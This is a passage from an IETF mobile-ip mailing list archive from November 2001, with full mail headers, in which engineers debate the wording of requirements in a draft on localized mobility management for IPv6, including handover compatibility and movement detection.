<t.pagtzis@cs.ucl.ac.uk>
Sent: Wednesday, November 21, 2001 3:32 AM
Subject: RE: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)


> Carl,
>
> Looks fine. So did the last one !
> The requirement said that the two (LMM and FMIP)
> MUST BE _able_ to get deployed separately.
> If you remove "able to get" from that statement
> then I think you would think that the requirement
> is mandating that they get deployed separately, which
> is not the way I interepret it.
>
> BTW, I assume that you'll also remove the other 2
> reqts as agreed by Cedric, Theo, James, me ....etc
> earlier on the list ?
> The two are:
> 1. The movement detection based on domain
>    identification.
> 2. The L2 stuff !
>

Hi Hesham,

I removed (1) above.  But (2) was never in the draft :-)
It was in a version that was sent to the LMM design
team and I assume Cedric somehow got a copy of it.

Carl

> Thanks,
> Hesham
>
>
> -----Original Message-----
> From: Carl Williams [mailto:carlw@docomolabs-usa.com]
> Sent: Wednesday, November 21, 2001 3:56 AM
> To: mobile-ip@sunroof.eng.sun.com; Cedric Westphal;
> Hesham.Soliman@era.ericsson.se; t.pagtzis@cs.ucl.ac.uk
> Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
> .01)
>
>
> >
> > Here is what the second paragraph says:
> >
> >     LMM and any standardized Mobile IPv6
> >     handover algorithm  MUST BE able to be deployed independently
> >     of each other.
> >
> > So please explain to me how an LMM solution that leverages
> > a handover protocol could be separately deployed from
> > the handover protocol?
> >
> >                 jak
> >
> >
>
> Hello James,
>
> Initially the requirement was written from the perspective
> of an "optimized" MIPv6 handover scheme that was *optional*.
>
> So with your proposal we are now not making any assumptions
> about the nature of the handover scheme.  Indeed, it could just simply
> be MIPv6.  I will use the suggested text and include:
>
> 3.9 Support for Mobile IPv6 Handover
>
> Since one of the primary goals of LMM is to minimize
> signaling during handover, an LMM solution MUST
> be available for the standardized Mobile IPv6 handover
> algorithms. LMM and the Mobile IPv6 handover algorithms
> MUST maintain compatibility in their signaling interactions for
> fulfilling complementary roles with respect to each other.
>
>
> If anyone has any comments on this requirement, please
> make your concerns known.
>
> Thanks to all those who read the draft:) and provided feedback.
>
> Carl
>
>



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 16:12:53 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA06196
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 16:12:53 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA14917;
	Wed, 21 Nov 2001 13:11:22 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA11652;
	Wed, 21 Nov 2001 13:10:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALL8lLS007580
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:08:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALL8kUd007579
	for mobile-ip-dist; Wed, 21 Nov 2001 13:08:46 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALL89LS007572
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:08:10 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA07597
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:08:10 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA04019
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:08:05 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id NAA01591;
	Wed, 21 Nov 2001 13:07:54 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALL7sP30796;
	Wed, 21 Nov 2001 13:07:54 -0800
X-mProtect:  Wed, 21 Nov 2001 13:07:54 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.5.64, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpd61BTbv; Wed, 21 Nov 2001 13:07:51 PST
Message-ID: <3BFC17A3.F2E3B352@iprg.nokia.com>
Date: Wed, 21 Nov 2001 13:07:47 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Carl Williams <carlw@docomolabs-usa.com>
CC: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>,
        mobile-ip@sunroof.eng.sun.com, t.pagtzis@cs.ucl.ac.uk
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se> <12d001c172bb$62709240$686015ac@docomocarl>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit


Carl Williams wrote:

> ----- Original Message -----
> From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
> To: "'Carl Williams'" <carlw@docomolabs-usa.com>;
> <mobile-ip@sunroof.eng.sun.com>; "Cedric Westphal" <cedric@iprg.nokia.com>;
> "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>;
> <t.pagtzis@cs.ucl.ac.uk>
> Sent: Wednesday, November 21, 2001 3:32 AM
> Subject: RE: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
>
> > Carl,
> >
> > Looks fine. So did the last one !
> > The requirement said that the two (LMM and FMIP)
> > MUST BE _able_ to get deployed separately.
> > If you remove "able to get" from that statement
> > then I think you would think that the requirement
> > is mandating that they get deployed separately, which
> > is not the way I interepret it.
> >
> > BTW, I assume that you'll also remove the other 2
> > reqts as agreed by Cedric, Theo, James, me ....etc
> > earlier on the list ?
> > The two are:
> > 1. The movement detection based on domain
> >    identification.
> > 2. The L2 stuff !
> >
>
> Hi Hesham,
>
> I removed (1) above.  But (2) was never in the draft :-)
> It was in a version that was sent to the LMM design
> team and I assume Cedric somehow got a copy of it.
>
> Carl

Carl,

I did get two versions of the draft, but I commented only on the
one I got from docomo-labs:-). Mystery paragraph's gone anyway...
Thanks for considering the comments and for updating the document,

Cedric.


>
> > Thanks,
> > Hesham
> >
> >
> > -----Original Message-----
> > From: Carl Williams [mailto:carlw@docomolabs-usa.com]
> > Sent: Wednesday, November 21, 2001 3:56 AM
> > To: mobile-ip@sunroof.eng.sun.com; Cedric Westphal;
> > Hesham.Soliman@era.ericsson.se; t.pagtzis@cs.ucl.ac.uk
> > Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
> > .01)
> >
> >
> > >
> > > Here is what the second paragraph says:
> > >
> > >     LMM and any standardized Mobile IPv6
> > >     handover algorithm  MUST BE able to be deployed independently
> > >     of each other.
> > >
> > > So please explain to me how an LMM solution that leverages
> > > a handover protocol could be separately deployed from
> > > the handover protocol?
> > >
> > >                 jak
> > >
> > >
> >
> > Hello James,
> >
> > Initially the requirement was written from the perspective
> > of an "optimized" MIPv6 handover scheme that was *optional*.
> >
> > So with your proposal we are now not making any assumptions
> > about the nature of the handover scheme.  Indeed, it could just simply
> > be MIPv6.  I will use the suggested text and include:
> >
> > 3.9 Support for Mobile IPv6 Handover
> >
> > Since one of the primary goals of LMM is to minimize
> > signaling during handover, an LMM solution MUST
> > be available for the standardized Mobile IPv6 handover
> > algorithms. LMM and the Mobile IPv6 handover algorithms
> > MUST maintain compatibility in their signaling interactions for
> > fulfilling complementary roles with respect to each other.
> >
> >
> > If anyone has any comments on this requirement, please
> > make your concerns known.
> >
> > Thanks to all those who read the draft:) and provided feedback.
> >
> > Carl
> >
> >



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 16:20:06 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA06791
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 16:20:05 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA10615;
	Wed, 21 Nov 2001 14:18:37 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA13517;
	Wed, 21 Nov 2001 13:18:17 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLHDLS007726
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:17:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALLHDiX007725
	for mobile-ip-dist; Wed, 21 Nov 2001 13:17:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLH9LS007715
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:17:09 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA09040
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:17:05 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA08939
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:16:47 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id NAA02499;
	Wed, 21 Nov 2001 13:17:04 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALLH4N06975;
	Wed, 21 Nov 2001 13:17:04 -0800
X-mProtect:  Wed, 21 Nov 2001 13:17:04 -0800 Nokia Silicon Valley Messaging Protection
Received: from jmalinen.iprg.nokia.com (205.226.2.98)
	by darkstar.iprg.nokia.com(P1.5 smtpdj0RJZq; Wed, 21 Nov 2001 13:17:03 PST
Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id NAA89102; Wed, 21 Nov 2001 13:17:03 -0800 (PST)
Message-ID: <3BFC19CE.54139FE0@iprg.nokia.com>
Date: Wed, 21 Nov 2001 13:17:02 -0800
From: "Jari T. Malinen" <jmalinen@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>,
        Cedric Westphal <cedric@iprg.nokia.com>, t.pagtzis@cs.ucl.ac.uk
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se> <12d001c172bb$62709240$686015ac@docomocarl>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello,

On movement detection: it is strange if we have no words at all
on the requirement to detect when a LMM domain has changed. I
feel there should be a version of the movement detection text
included. If it were just an option for the protocol I would
not mind dropping it altogether but for a LMM protocol to operate
at all one needs to know when a LMM domain is crossed to do an initial
registration. The domain need not be the same as an administrative
domain, but like in base Mobile IP, movement detection clearly
is a part of the overall operation. I do not see a problem
if some other mechanism or protocol provides the actual
mechanism but it needs to be noted such mechanism is
needed for the LMM to work.

BR,

-Jari

> > Carl,
> >
> > Looks fine. So did the last one !
> > The requirement said that the two (LMM and FMIP)
> > MUST BE _able_ to get deployed separately.
> > If you remove "able to get" from that statement
> > then I think you would think that the requirement
> > is mandating that they get deployed separately, which
> > is not the way I interepret it.
> >
> > BTW, I assume that you'll also remove the other 2
> > reqts as agreed by Cedric, Theo, James, me ....etc
> > earlier on the list ?
> > The two are:
> > 1. The movement detection based on domain
> >    identification.
> > 2. The L2 stuff !
> >
> 
> Hi Hesham,
> 
> I removed (1) above.  But (2) was never in the draft :-)
> It was in a version that was sent to the LMM design
> team and I assume Cedric somehow got a copy of it.
> 
> Carl
> 
> > Thanks,
> > Hesham
> >
> >
> > -----Original Message-----
> > From: Carl Williams [mailto:carlw@docomolabs-usa.com]
> > Sent: Wednesday, November 21, 2001 3:56 AM
> > To: mobile-ip@sunroof.eng.sun.com; Cedric Westphal;
> > Hesham.Soliman@era.ericsson.se; t.pagtzis@cs.ucl.ac.uk
> > Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
> > .01)
> >
> >
> > >
> > > Here is what the second paragraph says:
> > >
> > >     LMM and any standardized Mobile IPv6
> > >     handover algorithm  MUST BE able to be deployed independently
> > >     of each other.
> > >
> > > So please explain to me how an LMM solution that leverages
> > > a handover protocol could be separately deployed from
> > > the handover protocol?
> > >
> > >                 jak
> > >
> > >
> >
> > Hello James,
> >
> > Initially the requirement was written from the perspective
> > of an "optimized" MIPv6 handover scheme that was *optional*.
> >
> > So with your proposal we are now not making any assumptions
> > about the nature of the handover scheme.  Indeed, it could just simply
> > be MIPv6.  I will use the suggested text and include:
> >
> > 3.9 Support for Mobile IPv6 Handover
> >
> > Since one of the primary goals of LMM is to minimize
> > signaling during handover, an LMM solution MUST
> > be available for the standardized Mobile IPv6 handover
> > algorithms. LMM and the Mobile IPv6 handover algorithms
> > MUST maintain compatibility in their signaling interactions for
> > fulfilling complementary roles with respect to each other.
> >
> >
> > If anyone has any comments on this requirement, please
> > make your concerns known.
> >
> > Thanks to all those who read the draft:) and provided feedback.
> >
> > Carl
> >
> >


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 16:23:23 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07061
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 16:23:23 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA18591;
	Wed, 21 Nov 2001 13:21:48 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA14229;
	Wed, 21 Nov 2001 13:20:55 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLIvLS007752
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:18:57 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALLIva9007751
	for mobile-ip-dist; Wed, 21 Nov 2001 13:18:57 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLIrLS007744
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:18:53 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA01679
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:18:55 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA03931
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:18:54 -0800 (PST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fALLIs518241;
	Wed, 21 Nov 2001 13:18:54 -0800 (PST)
Message-ID: <147701c172d2$1010f550$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Hesham Soliman \(ERA\)" <hesham.soliman@era.ericsson.se>,
        <mobile-ip@sunroof.eng.sun.com>, <t.pagtzis@cs.ucl.ac.uk>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se> <12d001c172bb$62709240$686015ac@docomocarl> <3BFC17A3.F2E3B352@iprg.nokia.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Wed, 21 Nov 2001 13:18:28 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

>
> I did get two versions of the draft, but I commented only on the
> one I got from docomo-labs:-). Mystery paragraph's gone anyway...
> Thanks for considering the comments and for updating the document,
>
> Cedric.
>

Cedric,

   You are correct. there was a small (brief) period that the old draft
   was on the website.  So you most likely downloaded quickly (after
   the announcement).  So thanks for your great interest in reading
   and providing feedback on LMM requirements.

Carl

>
> >
> > > Thanks,
> > > Hesham
> > >
> > >
> > > -----Original Message-----
> > > From: Carl Williams [mailto:carlw@docomolabs-usa.com]
> > > Sent: Wednesday, November 21, 2001 3:56 AM
> > > To: mobile-ip@sunroof.eng.sun.com; Cedric Westphal;
> > > Hesham.Soliman@era.ericsson.se; t.pagtzis@cs.ucl.ac.uk
> > > Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
> > > .01)
> > >
> > >
> > > >
> > > > Here is what the second paragraph says:
> > > >
> > > >     LMM and any standardized Mobile IPv6
> > > >     handover algorithm  MUST BE able to be deployed independently
> > > >     of each other.
> > > >
> > > > So please explain to me how an LMM solution that leverages
> > > > a handover protocol could be separately deployed from
> > > > the handover protocol?
> > > >
> > > >                 jak
> > > >
> > > >
> > >
> > > Hello James,
> > >
> > > Initially the requirement was written from the perspective
> > > of an "optimized" MIPv6 handover scheme that was *optional*.
> > >
> > > So with your proposal we are now not making any assumptions
> > > about the nature of the handover scheme.  Indeed, it could just simply
> > > be MIPv6.  I will use the suggested text and include:
> > >
> > > 3.9 Support for Mobile IPv6 Handover
> > >
> > > Since one of the primary goals of LMM is to minimize
> > > signaling during handover, an LMM solution MUST
> > > be available for the standardized Mobile IPv6 handover
> > > algorithms. LMM and the Mobile IPv6 handover algorithms
> > > MUST maintain compatibility in their signaling interactions for
> > > fulfilling complementary roles with respect to each other.
> > >
> > >
> > > If anyone has any comments on this requirement, please
> > > make your concerns known.
> > >
> > > Thanks to all those who read the draft:) and provided feedback.
> > >
> > > Carl
> > >
> > >
>
>



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 16:31:08 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07865
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 16:31:08 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA19414;
	Wed, 21 Nov 2001 14:29:43 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA03991;
	Wed, 21 Nov 2001 13:29:47 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLSjLS008024
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:28:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALLSisc008023
	for mobile-ip-dist; Wed, 21 Nov 2001 13:28:44 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLSfLS008016
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:28:41 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA02626
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:28:38 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA17696
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:28:37 -0800 (PST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fALLSb518683;
	Wed, 21 Nov 2001 13:28:37 -0800 (PST)
Message-ID: <02a701c172d3$415cef00$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Cedric Westphal" <cedric@iprg.nokia.com>,
        "Hesham.Soliman" <Hesham.Soliman@era.ericsson.se>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com> <0f4a01c1719e$0f63ba50$686015ac@docomocarl> <00f201c171eb$e5d1f500$0e02320a@T23KEMPF> <0f8701c171f2$c905a820$686015ac@docomocarl> <020301c17221$115b06f0$0e02320a@T23KEMPF> <3BFB65EF.DF6A98C1@cs.ucl.ac.uk> <003501c172aa$d1b5bd80$0e02320a@T23KEMPF> <3BFBDF69.88BA7133@cs.ucl.ac.uk>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Wed, 21 Nov 2001 13:27:00 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Your logic is impeccable, Mr. Pagtzis. :-)

        jak

----- Original Message -----
From: "Theo Pagtzis" <t.pagtzis@cs.ucl.ac.uk>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Cedric Westphal" <cedric@iprg.nokia.com>; "Hesham.Soliman"
<Hesham.Soliman@era.ericsson.se>
Sent: Wednesday, November 21, 2001 9:07 AM
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
.01)


> Hmmm...
>
>        ( reductio ad absurdum..)
>
> consider:
>
>    an LMM solution X must work with MIPv6...
>    an LMM solution X' must work with handoff optimizations...
>
> However handoff optimization cannot work on their own...they assume
> existence of MIPv6
>
> that implies that X' must also work with MIPv6..
>
> but X and X' are not the same... !!!
> ..that leaves me with no other option but to conclude that X=X' !
> .. which basically means that the SAME LMM solution must be compatible
> with MIPv6 and the handoff optimisation at the same time...
>
> Theo
> UCL/ Mobile Systems Group
>
> PS: work with = be compatible with
>
> James Kempf wrote:
> >
> > Hi Theo,
> >
> > >   I thought that any mention w.r.t. a handover and compatibility
of a
> > > handover mechanism w.r.t to an LMM scheme was only to imply
> > > compatibility with handoff optimisations. That is to say, it
assumes
> > > existence of base MIPv6 handoffs at the very least..i.e. we assume
> > base
> > > MIPv6 and only care about compatibility of LMM schemes with
handoff
> > > mechanisms _beyond_ base mobility (a.k.a MIPv6).
> > >
> >
> > If a service provider wants to deploy standard MIPv6 handover, then
it
> > should be possible to obtain LMM support for it. This is not to
imply
> > that the same LMM solution is required for both standard MIPv6
handover
> > and the optimizations, they could be different.
> >
> >             jak
>



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 16:38:17 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08426
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 16:38:17 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA23494;
	Wed, 21 Nov 2001 13:37:05 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA06028;
	Wed, 21 Nov 2001 13:36:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLZtLS008150
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:35:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALLZtDc008149
	for mobile-ip-dist; Wed, 21 Nov 2001 13:35:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLZpLS008142
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:35:51 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA17489
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:35:27 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA22608
